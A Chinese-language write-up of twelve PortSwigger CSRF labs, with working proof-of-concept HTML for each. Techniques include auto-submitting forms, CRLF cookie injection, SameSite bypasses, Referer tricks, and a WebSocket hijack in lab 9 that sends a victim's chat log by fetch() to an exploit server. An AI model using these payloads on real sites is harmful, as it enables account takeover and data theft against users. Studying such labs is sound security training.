PortSwigger Labs CSRF详细教程
lab 1:无防御的 CSRF 漏洞
提示使用wiener:peter登录
登录是 一个修改邮箱的界面
先改为aa@aa.com抓包
burp生成csrf的poc
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0acb00ab035f2c2f81b72acd0037008a.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="aa@aa.com" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body></html>
进入exploit server,将poc放到body,点击store,再点击deliver exploit将攻击载荷发送到目标
lab 2:基于请求方法的 CSRF
先登录账号
修改邮箱抓包,此时存在csrf token验证
删除这个token则无法修改邮箱
此时右键修改请求方法
发现302,说明修改成功,点击跟随重定向即可跳到修改后的页面
此时生成csrf poc ,进入exploit server 写入post
<form action="https://0a9300c003d3bb42823bab8000880069.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="aaa@zz.com" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script>
lab 3:令牌验证依赖于令牌是否存在
登录账号改邮箱时抓包
存在csrf token,删掉试试
还是可以改成功
<form action="https://0aea0085031db4dd80fa0811009b0054.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="bbb@aa.com" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script>
到exploit server发送
lab 4:令牌与用户会话无关的 CSRF
You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
wiener:peter
carlos:montoya
先登录wiener,改邮箱拦截抓包后扔到repeater,然后将包drop掉,不然token就废了
csrf=ylkeAEsMw8ndXCb775EP8nzzztm69j7Z
然后在另一个浏览器登录carlos,改邮箱抓包,扔到repeater,drop掉
csrf=7KKEwzWXgeC2MTESGJvQhxV1fpz70ylS
我们先将这个 token 使用掉,在点击重放提示 token 不可用
把这个作废的 token 放到 wienet 这里,他就是可以用的,这关就是 session 没有和 token 做绑定
lab 5:将令牌与非会话 cookie 绑定的 CSRF
先进入 wiener 用户,修改邮箱抓包发送到 repeater
再进入 carlos 用户改邮箱抓包把 csrf 和 csrf key 替换到 wiener 的包里,同样可以改 wiener 的邮箱
再利用 http header injection,在 wiener 的 home 页面搜索框输入字符搜索抓包
利用 CRLF 注入将 Set-Cookie: csrfKey=BxDvkXlM8TgAQaPZvzTPeFnRMi9R91Le
注入
因为我们前端输入的字符后端会以 setcookie 形式返回
在 wiener 的包中生成 csrf poc,第一次做的时候得加;SameSite=None
,否则 setcookie 中的 csrfKey 不支持跨域携带
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a390070047d879f809e44ca00de007b.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="abc@Behacker.com" /><input type="hidden" name="csrf" value="tVwPZChYvybGgK31RMr5c4DPaaz3kPgi" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');</script><img src="https://0a390070047d879f809e44ca00de007b.web-security-academy.net/?search=hat%0d%0aSet-Cookie:%20csrfKey=BxDvkXlM8TgAQaPZvzTPeFnRMi9R91Le;SameSite=None" onerror="document.forms[0].submit()"></body>
</html>
目标直接点击生成的 url 修改了邮箱
下图是我没加 SameSite=None
无法携带我们的 csrfKey,导致失败
加上后
成功修改对方邮箱
最后将 poc 放入漏洞利用服务器存储并提交即可
lab 6:cookie 中存在重复的 token
登录wiener,更改邮箱时抓包,测试发现 csrf 和 cookie csrf 值只要相同就可以
依据使用 http header injection,测试可以执行
生成 poc
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a97006903e3e74580640dc600c90093.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="abc@Behacked.com" /><input type="hidden" name="csrf" value="abc" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');</script><img src="https://0a97006903e3e74580640dc600c90093.web-security-academy.net/?search=ha%0d%0aSet-Cookie:%20csrf=abc;SameSite=None" onerror="document.forms[0].submit()"></body>
</html>
复制测试链接,访问可以修改邮箱
poc 通过
lab 7:通过方法覆盖绕过 SameSite Lax
先修改邮箱抓包
get 请求不可行
可以看到没有 csrf token
登录界面抓包看到服务端只配置了 httponly 和 secure
httponly 防止 javascript 读取 cookie 的,secure 只允许 https 请求,没有关于 SameSite 的设置,意味着在 chrome 浏览器,会在两分钟后将 SameSite 属性自动设置为 lax,表示允许GET 方法的表单提交。也就是说目标在登录后的两分钟内,我们是可以直接通过生成csrfpoc 完成邮箱修改
随即发起访问,修改了邮箱
两分钟后访问 csrfpoc 的 url 就会被重定向登录页面
我们为了更好的绕过,需要添加一个隐藏的_method
字段,与_method
字段一起发送的值将被用作 http 请求方法,<input type="hidden" name="_method" value="POST">
生成 csrf poc,将邮箱改为abc@wienerBeHackedAgain.com
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a3900a603101b8980c244a6006200c7.web-security-academy.net/my-account/change-email" method="GET"><input type="hidden" name="_method" value="POST"> <input type="hidden" name="email" value="abc@wienerBeHackedAgain.com" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>
修改成功
或者可以改为 GET 请求后在请求 url 后拼接_method=POST
[https://0a3900a603101b8980c244a6006200c7.web-security-academy.net/my-account/change-email?email=abc%40Hacker11111.com&_method=POST](https://0a3900a603101b8980c244a6006200c7.web-security-academy.net/my-account/change-email?email=abc%40Hacker11111.com&_method=POST)
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/');window.location="https://0a3900a603101b8980c244a6006200c7.web-security-academy.net/my-account/change-email?email=abc%40Hacker11111.com&_method=POST"document.forms[0].submit();</script></body>
</html>
lab 8:通过客户端重定向绕过SameSite Strict
登录后发现 SameSite 属性为 Strict,严格禁止跨站携带 cookie
修改邮箱抓包,看到没有其他不可预测的参数
切换为 GET 请求同样支持修改邮箱
进入 home 下的 view post 留言抓包
可以看到存在重定向 js
js 逻辑是在/post
后边拼接/
和 postid
,postid 是我们能控制的
我们访问[https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/comment/confirmation?postId=2](https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/comment/confirmation?postId=2)
即可跳转[https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/2](https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/2)
尝试https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/comment/confirmation?postId=my-account
跳转到 my-account
显示不存在
测试后输入https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/comment/confirmation?postId=../my-account
成功跳转到修改邮箱处
由此我们可以拼接 payload:https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=abc%40BeHacked.com&submit=1
&
需要 url 编码发送%26
https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=abc%40BeHacked.com%26submit=1
生成 csrf poc
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/');window.location="https://0ade009303f7d0c8808e3a3e00a600bc.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=abc%40BeHackedAgain.com%26submit=1"document.forms[0].submit();</script></body>
</html>
复制到浏览器访问
可以修改邮箱
lab 9:通过同级域绕过 SameSite Strict
进入聊天界面随便发送内容,刷新页面会返回之前的内容
我们向服务端发送 READY,则返回全部聊天记录
在建立和转换 websocket 连接时没有 csrf token 以及不可预测的参数
这里我们找到 websocket 连接地址
以及 chat.js 中的逻辑
<script>var webSocket = new WebSocket("wss://0a0800ad03d192508028d5fd00c60085.web-security-academy.net/chat");webSocket.onopen = function (evt) {webSocket.send("READY");};webSocket.onmessage = function (evt) {var message = evt.data;fetch("https://exploit-0a4b005c033592e28044d46901440032.exploit-server.net/exploit?message=" + btoa(message));};
</script>
等几秒后进入 access log 查看
由于存在 SameSite 严格限制,所以我们只能寻找是否存在 xss 漏洞利用
我们在 chat.js 中还看到了一个子域名,访问一下
这里存在 xss 漏洞
修改为 GET 请求可以执行
将 poc 进行 url 编码放到刚才测试位置
%3c%73%63%72%69%70%74%3e%0a%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%0a%20%20%22%77%73%73%3a%2f%2f%30%61%30%38%30%30%61%64%30%33%64%31%39%32%35%30%38%30%32%38%64%35%66%64%30%30%63%36%30%30%38%35%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%22%0a%20%20%29%3b%0a%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%65%76%74%29%20%7b%0a%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%7d%3b%0a%0a%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%65%76%74%29%20%7b%0a%20%20%76%61%72%20%6d%65%73%73%61%67%65%20%3d%20%65%76%74%2e%64%61%74%61%3b%0a%20%20%66%65%74%63%68%28%0a%20%20%20%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%34%62%30%30%35%63%30%33%33%35%39%32%65%32%38%30%34%34%64%34%36%39%30%31%34%34%30%30%33%32%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6d%65%73%73%61%67%65%3d%22%20%2b%20%62%74%6f%61%28%6d%65%73%73%61%67%65%29%0a%20%20%29%3b%0a%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e
可以看到服务器响应了请求
构造新的 poc 发送到 exploit server
<script>
document.location="https://cms-0a0800ad03d192508028d5fd00c60085.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%0a%20%20%22%77%73%73%3a%2f%2f%30%61%30%38%30%30%61%64%30%33%64%31%39%32%35%30%38%30%32%38%64%35%66%64%30%30%63%36%30%30%38%35%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%22%0a%20%20%29%3b%0a%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%65%76%74%29%20%7b%0a%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%7d%3b%0a%0a%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%65%76%74%29%20%7b%0a%20%20%76%61%72%20%6d%65%73%73%61%67%65%20%3d%20%65%76%74%2e%64%61%74%61%3b%0a%20%20%66%65%74%63%68%28%0a%20%20%20%20%22%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%34%62%30%30%35%63%30%33%33%35%39%32%65%32%38%30%34%34%64%34%36%39%30%31%34%34%30%30%33%32%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6d%65%73%73%61%67%65%3d%22%20%2b%20%62%74%6f%61%28%6d%65%73%73%61%67%65%29%0a%20%20%29%3b%0a%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=123"
</script>
查看 log 看到 message,进行解码
carlos : nbgychu1i7w23pp6f7i9 登录即可
lab 10:通过 cookie 刷新绕过 SameSite Lax
这关直接在修改邮箱界面抓包生成 poc 即可通过,但是必须在登录后的两分钟内完成
本lab涉及到 oauth 认证流程,为了方便理解原理,我们先梳理下整个流程
首先访问我的账号,跳转到 social-login
然后自动访问这里,重定向到认证登录页
输入用户名密码登录
通过认证后服务端给 set-cookie
里添加了 session
,并且将 samesite
设为 None
然后到了这个页面,后续请求带上了上一步服务器给的 session
然后请求这里
到这很关键,服务器响应了回调地址附带授权码code
,并且这时 SameSite 属性还是 None,而且 cookie 值也是新鲜的,服务器端刚出炉的,这是后续利用的关键
使用授权码 code 登录
进入了修改邮箱页面,整个登录流程走完
修改邮箱抓包,生成 poc
setTimeout
5 秒,确保 oauth 验证流程结束后提交修改表单,提交到 exploit server 即可
原理就是 OAuth服务商在跨站场景下,通过回调响应强制设置了一个更宽松的Cookie(SameSite=None),导致浏览器的SameSite保护被绕过。
攻击者只需诱导用户点击链接,即可在后续跨站请求中窃取会话
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form method="POST" action="https://0a98009f042f1050818c9db200a0003c.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="abc@hacker.com"></form>
<script>window.open('https://0a98009f042f1050818c9db200a0003c.web-security-academy.net/social-login');setTimeout(changeEmail, 5000); function changeEmail(){document.forms[0].submit();};
</script></body>
</html>
lab 11:referer 验证取决于是否存在标头
测试是否验证 referer
referer 清空提示无效的 referer
删除 referer 就可以通过
生成 poc 后插入<meta name="referrer" content="no-referrer">
发送无 referer 的请求即可
<html><!-- CSRF PoC - generated by Burp Suite Professional --><meta name="referrer" content="no-referrer"><body><form action="https://0af400210390a0f3818011b9003d00c3.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="abc@hack.com" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>
lab 12:带有损坏的 Referer 验证的 CSRF
经测试,referer 保留请求的域名即可
使用<font style="background-color:rgb(235, 240, 242);">history.pushState("", "", "/0a96005b031355c78081351a00c20032.web-security-academy.net"</font>
,将地址栏 url 修改
许多浏览器现在出于安全考虑默认从 Referer 标头中删除查询字符串。要覆盖此行为并确保请求中包含完整的 URL,请返回漏洞利用代码服务器,并在“Head”部分添加以下标头:<font style="background-color:rgba(255, 255, 255, 0);">Referrer-Policy: unsafe-url</font>
<html><!-- CSRF PoC - generated by Burp Suite Professional -->
<meta name="referrer" content="unsafe-url"><body><form action="https://0a96005b031355c78081351a00c20032.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="abc@wiener.com" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/0a96005b031355c78081351a00c20032.web-security-academy.net');document.forms[0].submit();</script></body>
</html>
通过点击 burp 生成的测试 url 可以修改邮箱,可以看到他将域名拼到了 burp 的后面,绕过检测
通过 exploit server 发送给目标即可